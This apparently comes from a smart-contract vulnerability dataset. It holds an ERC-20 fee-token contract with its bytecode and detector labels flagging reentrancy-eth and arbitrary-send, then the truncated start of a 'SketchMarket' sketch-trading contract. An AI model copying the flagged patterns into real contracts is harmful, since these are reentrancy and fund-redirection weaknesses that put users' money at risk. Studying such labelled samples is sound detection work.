_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!_canTrade,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswap = _uniswapV2Router;
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612231565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611df4565b6103c2565b6040516101579190612216565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612393565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611da1565b6103ee565b6040516101bf9190612216565b60405180910390f35b3480156101d457600080fd5b506101dd6104c7565b6040516101ea9190612408565b60405180910390f35b3480156101ff57600080fd5b506102086104d0565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d07565b61054a565b60405161023e9190612393565b60405180910390f35b34801561025357600080fd5b5061025c61059b565b005b34801561026a57600080fd5b506102736106ee565b6040516102809190612148565b60405180910390f35b34801561029557600080fd5b5061029e610717565b6040516102ab9190612231565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e61565b610754565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611df4565b6107cc565b6040516103119190612216565b60405180910390f35b34801561032657600080fd5b5061032f6107ea565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d61565b610cf7565b6040516103659190612393565b60405180910390f35b34801561037a57600080fd5b50610383610d7e565b005b60606040518060400160405280600781526020017f4a69726169796100000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df0565b8484610df8565b6001905092915050565b6000655af3107a4000905090565b60006103fb848484610fc3565b6104bc84610407610df0565b6104b7856040518060600160405280602881526020016129e360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046d610df0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b9092919063ffffffff16565b610df8565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610511610df0565b73ffffffffffffffffffffffffffffffffffffffff161461053157600080fd5b600061053c3061054a565b90506105478161128f565b50565b6000610594600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611517565b9050919050565b6105a3610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610627906122f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4a49524149594100000000000000000000000000000000000000000000000000815250905090565b61075c610df0565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b557600080fd5b600981106107c257600080fd5b8060088190555050565b60006107e06107d9610df0565b8484610fc3565b6001905092915050565b6107f2610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906122f3565b60405180910390fd5b600b60149054906101000a900460ff16156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000610df8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611d34565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611d34565b6040518363ffffffff1660e01b8152600401610a91929190612163565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611d34565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c3061054a565b600080610b776106ee565b426040518863ffffffff1660e01b8152600401610b99969594939291906121b5565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb9190611e8e565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca192919061218c565b602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf39190611e34565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbf610df0565b73ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b6000479050610ded81611585565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90612353565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612293565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb69190612393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612253565b60405180910390fd5b600081116110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612313565b60405180910390fd5b6110ee6106ee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561115c575061112c6106ee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121b57600061116c3061054a565b9050600b60159054906101000a900460ff161580156111d95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f15750600b60169054906101000a900460ff165b15611219576111ff8161128f565b600047905060008111156112175761121647611585565b5b505b505b6112268383836115f1565b505050565b6000838311158290611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a9190612231565b60405180910390fd5b50600083856112829190612559565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112c7576112c66126b4565b5b6040519080825280602002602001820160405280156112f55781602001602082028036833780820191505090505b509050308160008151811061130d5761130c612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190611d34565b816001815181106113fb576113fa612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114c69594939291906123ae565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b600060055482111561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612273565b60405180910390fd5b6000611568611601565b905061157d818461162c90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ed573d6000803e3d6000fd5b5050565b6115fc838383611676565b505050565b600080600061160e611841565b91509150611625818361162c90919063ffffffff16565b9250505090565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189a565b905092915050565b600080600080600080611688876118fd565b9550955095509550955095506116e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c781611a0d565b6117d18483611aca565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182e9190612393565b60405180910390a3505050505050505050565b600080600060055490506000655af3107a40009050611871655af3107a400060055461162c90919063ffffffff16565b82101561188d57600554655af3107a4000935093505050611896565b81819350935050505b9091565b600080831182906118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d89190612231565b60405180910390fd5b50600083856118f091906124ce565b9050809150509392505050565b600080600080600080600080600061191a8a600754600854611b04565b925092509250600061192a611601565b9050600080600061193d8e878787611b9a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b905092915050565b60008082846119be9190612478565b905083811015611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906122b3565b60405180910390fd5b8091505092915050565b6000611a17611601565b90506000611a2e8284611c2390919063ffffffff16565b9050611a8281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611adf8260055461196590919063ffffffff16565b600581905550611afa816006546119af90919063ffffffff16565b6006819055505050565b600080600080611b306064611b22888a611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b5a6064611b4c888b611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b8382611b75858c61196590919063ffffffff16565b61196590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb38589611c2390919063ffffffff16565b90506000611bca8689611c2390919063ffffffff16565b90506000611be18789611c2390919063ffffffff16565b90506000611c0a82611bfc858761196590919063ffffffff16565b61196590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c365760009050611c98565b60008284611c4491906124ff565b9050828482611c5391906124ce565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a906122d3565b60405180910390fd5b809150505b92915050565b600081359050611cad8161299d565b92915050565b600081519050611cc28161299d565b92915050565b600081519050611cd7816129b4565b92915050565b600081359050611cec816129cb565b92915050565b600081519050611d01816129cb565b92915050565b600060208284031215611d1d57611d1c6126e3565b5b6000611d2b84828501611c9e565b91505092915050565b600060208284031215611d4a57611d496126e3565b5b6000611d5884828501611cb3565b91505092915050565b60008060408385031215611d7857611d776126e3565b5b6000611d8685828601611c9e565b9250506020611d9785828601611c9e565b9150509250929050565b600080600060608486031215611dba57611db96126e3565b5b6000611dc886828701611c9e565b9350506020611dd986828701611c9e565b9250506040611dea86828701611cdd565b9150509250925092565b60008060408385031215611e0b57611e0a6126e3565b5b6000611e1985828601611c9e565b9250506020611e2a85828601611cdd565b9150509250929050565b600060208284031215611e4a57611e496126e3565b5b6000611e5884828501611cc8565b91505092915050565b600060208284031215611e7757611e766126e3565b5b6000611e8584828501611cdd565b91505092915050565b600080600060608486031215611ea757611ea66126e3565b5b6000611eb586828701611cf2565b9350506020611ec686828701611cf2565b9250506040611ed786828701611cf2565b9150509250925092565b6000611eed8383611ef9565b60208301905092915050565b611f028161258d565b82525050565b611f118161258d565b82525050565b6000611f2282612433565b611f2c8185612456565b9350611f3783612423565b8060005b83811015611f68578151611f4f8882611ee1565b9750611f5a83612449565b925050600181019050611f3b565b5085935050505092915050565b611f7e8161259f565b82525050565b611f8d816125e2565b82525050565b6000611f9e8261243e565b611fa88185612467565b9350611fb88185602086016125f4565b611fc1816126e8565b840191505092915050565b6000611fd9602383612467565b9150611fe4826126f9565b604082019050919050565b6000611ffc602a83612467565b915061200782612748565b604082019050919050565b600061201f602283612467565b915061202a82612797565b604082019050919050565b6000612042601b83612467565b915061204d826127e6565b602082019050919050565b6000612065602183612467565b91506120708261280f565b604082019050919050565b6000612088602083612467565b91506120938261285e565b602082019050919050565b60006120ab602983612467565b91506120b682612887565b604082019050919050565b60006120ce602583612467565b91506120d9826128d6565b604082019050919050565b60006120f1602483612467565b91506120fc82612925565b604082019050919050565b6000612114601783612467565b915061211f82612974565b602082019050919050565b612133816125cb565b82525050565b612142816125d5565b82525050565b600060208201905061215d6000830184611f08565b92915050565b60006040820190506121786000830185611f08565b6121856020830184611f08565b9392505050565b60006040820190506121a16000830185611f08565b6121ae602083018461212a565b9392505050565b600060c0820190506121ca6000830189611f08565b6121d7602083018861212a565b6121e46040830187611f84565b6121f16060830186611f84565b6121fe6080830185611f08565b61220b60a083018461212a565b979650505050505050565b600060208201905061222b6000830184611f75565b92915050565b6000602082019050818103600083015261224b8184611f93565b905092915050565b6000602082019050818103600083015261226c81611fcc565b9050919050565b6000602082019050818103600083015261228c81611fef565b9050919050565b600060208201905081810360008301526122ac81612012565b9050919050565b600060208201905081810360008301526122cc81612035565b9050919050565b600060208201905081810360008301526122ec81612058565b9050919050565b6000602082019050818103600083015261230c8161207b565b9050919050565b6000602082019050818103600083015261232c8161209e565b9050919050565b6000602082019050818103600083015261234c816120c1565b9050919050565b6000602082019050818103600083015261236c816120e4565b9050919050565b6000602082019050818103600083015261238c81612107565b9050919050565b60006020820190506123a8600083018461212a565b92915050565b600060a0820190506123c3600083018861212a565b6123d06020830187611f84565b81810360408301526123e28186611f17565b90506123f16060830185611f08565b6123fe608083018461212a565b9695505050505050565b600060208201905061241d6000830184612139565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612483826125cb565b915061248e836125cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124c3576124c2612627565b5b828201905092915050565b60006124d9826125cb565b91506124e4836125cb565b9250826124f4576124f3612656565b5b828204905092915050565b600061250a826125cb565b9150612515836125cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561254e5761254d612627565b5b828202905092915050565b6000612564826125cb565b915061256f836125cb565b92508282101561258257612581612627565b5b828203905092915050565b6000612598826125ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125ed826125cb565b9050919050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a68161258d565b81146129b157600080fd5b50565b6129bd8161259f565b81146129c857600080fd5b50565b6129d4816125cb565b81146129df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202e4720df9a86363c928f7773c487ee511bd3d8c41a9e4bb6d3c36a92488be55764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,509 |
0x31c70e9a1bab16f47710e4b302c49998cfb36ef9
|
pragma solidity 0.4.18;
/*
Sketches:
- can be created
- can be traded: you make a bid, the other party can accept or you can withdraw the bid
- can not be destroyed
*/
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract SketchMarket is Ownable {
// ERC-20 compatibility {
string public standard = "CryptoSketches";
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
// }
// Sketch storage {
mapping(uint256 => string) public sketchIndexToName;
mapping(uint256 => string) public sketchIndexToData;
mapping(uint256 => address) public sketchIndexToHolder;
mapping(uint256 => address) public sketchIndexToAuthor;
mapping(uint256 => uint8) public sketchIndexToOwnerFlag;
mapping(address => uint256) public sketchAuthorCount;
event SketchCreated(address indexed author, uint256 indexed sketchIndex);
// }
// Sketch trading {
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
// Amount owner takes on each submission, measured in Wei.
uint256 public listingFeeInWei;
mapping (uint256 => Offer) public sketchIndexToOffer;
mapping (uint256 => Bid) public sketchIndexToHighestBid;
mapping (address => uint256) public accountToWithdrawableValue;
event SketchTransfer(uint256 indexed sketchIndex, address indexed fromAddress, address indexed toAddress);
event SketchOffered(uint256 indexed sketchIndex, uint256 minValue, address indexed toAddress);
event SketchBidEntered(uint256 indexed sketchIndex, uint256 value, address indexed fromAddress);
event SketchBidWithdrawn(uint256 indexed sketchIndex, uint256 value, address indexed fromAddress);
event SketchBought(uint256 indexed sketchIndex, uint256 value, address indexed fromAddress, address indexed toAddress);
event SketchNoLongerForSale(uint256 indexed sketchIndex);
struct Offer {
bool isForSale;
uint256 sketchIndex;
address seller;
uint256 minValue; // ETH
address onlySellTo; // require a specific seller address
}
struct Bid {
bool hasBid;
uint256 sketchIndex;
address bidder;
uint256 value;
}
// }
// -- Constructor (see also: Ownable)
function SketchMarket() public payable {
// ERC-20 token
totalSupply = 0;
name = "CRYPTOSKETCHES";
symbol = "S̈";
decimals = 0; // whole number; number of sketches owned
// Trading parameters
ownerCut = 375; // 3.75% cut to auctioneer
listingFeeInWei = 5000000000000000; // 0.005 ETH, to discourage spam
}
function setOwnerCut(uint256 _ownerCut) external onlyOwner {
require(_ownerCut == uint256(uint16(_ownerCut)));
require(_ownerCut <= 10000);
ownerCut = _ownerCut;
}
function setListingFeeInWei(uint256 _listingFeeInWei) external onlyOwner {
require(_listingFeeInWei == uint256(uint128(_listingFeeInWei))); // length check
listingFeeInWei = _listingFeeInWei;
}
// -- Creation and fetching methods
function createSketch(string _name, string _data) external payable {
require(msg.value == listingFeeInWei);
require(bytes(_name).length < 256); // limit name byte size to 255
require(bytes(_data).length < 1048576); // limit drawing byte size to 1,048,576
accountToWithdrawableValue[owner] += msg.value; // auctioneer gets paid
sketchIndexToHolder[totalSupply] = msg.sender;
sketchIndexToAuthor[totalSupply] = msg.sender;
sketchAuthorCount[msg.sender]++;
sketchIndexToName[totalSupply] = _name;
sketchIndexToData[totalSupply] = _data;
balanceOf[msg.sender]++;
SketchCreated(msg.sender, totalSupply);
totalSupply++;
}
function setOwnerFlag(uint256 index, uint8 _ownerFlag) external onlyOwner {
sketchIndexToOwnerFlag[index] = _ownerFlag;
}
function getSketch(uint256 index) external view returns (string _name, string _data, address _holder, address _author, uint8 _ownerFlag, uint256 _highestBidValue, uint256 _offerMinValue) {
require(totalSupply != 0);
require(index < totalSupply);
_name = sketchIndexToName[index];
_data = sketchIndexToData[index];
_holder = sketchIndexToHolder[index];
_author = sketchIndexToAuthor[index];
_ownerFlag = sketchIndexToOwnerFlag[index];
_highestBidValue = sketchIndexToHighestBid[index].value;
_offerMinValue = sketchIndexToOffer[index].minValue;
}
function getBidCountForSketchesWithHolder(address _holder) external view returns (uint256) {
uint256 count = balanceOf[_holder];
if (count == 0) {
return 0;
} else {
uint256 result = 0;
uint256 totalCount = totalSupply;
uint256 sketchIndex;
for (sketchIndex = 0; sketchIndex <= totalCount; sketchIndex++) {
if ((sketchIndexToHolder[sketchIndex] == _holder) && sketchIndexToHighestBid[sketchIndex].hasBid) {
result++;
}
}
return result;
}
}
function getSketchesOnOffer() external view returns (uint256[]) {
